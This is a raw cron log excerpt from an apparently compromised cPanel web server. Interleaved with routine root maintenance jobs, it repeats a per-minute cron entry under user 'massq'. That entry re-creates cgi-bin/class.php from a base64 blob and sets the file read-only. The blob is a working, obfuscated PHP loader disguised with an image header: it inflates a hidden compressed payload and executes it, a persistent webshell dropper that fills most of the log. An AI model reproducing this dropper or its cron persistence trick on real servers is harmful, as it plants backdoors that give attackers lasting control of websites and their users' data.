Nov 11 15:30:01 server CROND[31645]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:31:01 server CROND[32526]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:32:02 server CROND[877]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:33:01 server CROND[1738]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:34:01 server CROND[2493]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:35:01 server CROND[3371]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 15:35:01 server CROND[3374]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 15:35:01 server CROND[3376]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:35:01 server CROND[3375]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 11 15:35:01 server CROND[3373]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 15:36:01 server CROND[4345]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:37:01 server CROND[5176]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:38:01 server CROND[6012]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:39:01 server CROND[6835]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 11 15:39:01 server CROND[6836]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:40:01 server CROND[7668]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 15:40:01 server CROND[7669]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 15:40:01 server CROND[7671]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 15:40:01 server CROND[7670]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:41:01 server CROND[8723]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 15:42:01 server CROND[9653]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 15:42:01 server CROND[9654]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
